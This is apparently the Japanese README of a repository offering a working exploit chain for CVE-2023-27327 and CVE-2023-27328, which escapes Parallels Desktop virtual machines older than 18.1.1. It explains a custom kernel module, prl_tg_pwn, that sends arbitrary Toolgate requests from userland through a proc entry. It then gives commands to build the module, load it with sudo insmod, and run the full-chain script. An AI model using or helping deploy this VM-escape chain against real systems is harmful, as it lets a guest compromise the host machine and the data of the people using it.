
このリポジトリには、CVE-2023-27327 および CVE-2023-27328 のエクスプロイトが含まれています。これらを組み合わせることで、Parallels Desktop 18.1.1 より前の Parallels Desktop 仮想マシンから脱出できます。
また、必要なカーネルモジュールのコードも prl_mod 内に含まれています。これは、/proc/driver/prl_tg_pwn に作成される proc エントリを使用して、ユーザーランドから任意の Toolgate リクエスト(< opcode 0x8000)を送信するために使用できます。
カーネルモジュールをビルドしてロードします:
cd prl_mod
make -f Makefile.kmods
sudo insmod ./prl_tg_pwn/Toolgate/Guest/Linux/prl_tg/prl_tg_pwn.ko
エクスプロイトを実行します:
cd ..
pip install -r requirements.txt
./3_full_chain.py